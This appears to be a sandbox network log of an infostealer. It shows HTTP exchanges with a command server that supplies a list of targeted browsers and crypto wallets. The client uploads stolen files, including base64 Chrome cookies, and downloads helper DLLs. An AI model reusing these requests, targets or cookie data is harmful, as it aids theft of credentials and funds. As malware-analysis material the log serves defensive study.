Oct 25, 2024 02:18:12.987407923 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 25, 2024 02:18:12.987445116 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 25, 2024 02:18:12.988930941 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="message"plugins------HIEBAKEHDHCAKEBFBKEG--
Oct 25, 2024 02:18:13.272664070 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 25, 2024 02:18:13.272713900 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 25, 2024 02:18:13.272751093 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 25, 2024 02:18:13.272788048 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 25, 2024 02:18:13.272824049 CEST	448	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 25, 2024 02:18:13.272861004 CEST	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Oct 25, 2024 02:18:13.272897959 CEST	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Oct 25, 2024 02:18:13.295627117 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="message"fplugins------DBAEGCGCGIEGDHIDHJJE--
Oct 25, 2024 02:18:13.578877926 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 25, 2024 02:18:13.616949081 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: 185.215.113.37 Content-Length: 6627 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 02:18:13.617003918 CEST	6627	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 25, 2024 02:18:14.424060106 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:14.639977932 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:15.202660084 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 25, 2024 02:18:15.202681065 CEST	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 25, 2024 02:18:19.390834093 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAK Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------AFBAFBKEGCFBGCBFIDAK--
Oct 25, 2024 02:18:20.185487986 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:20.269367933 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAK Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="file"------ECAFHIIJJECGDHIEGDAK--
Oct 25, 2024 02:18:21.053994894 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:21.776355982 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 37 31 33 30 62 39 66 62 34 34 30 62 31 36 32 37 65 61 33 61 35 65 30 36 31 38 34 36 63 32 35 63 34 62 36 39 61 36 39 66 33 61 64 34 31 63 34 37 66 33 39 35 38 35 33 30 35 36 64 30 34 38 34 65 63 39 33 64 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="token"fa7130b9fb440b1627ea3a5e061846c25c4b69a69f3ad41c47f395853056d0484ec93d27------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="file"------GHJEHJJDAAAKEBGCFCAA--
Oct 25, 2024 02:18:22.557153940 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 02:18:22.988359928 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 02:18:23.269525051 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 00:18:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 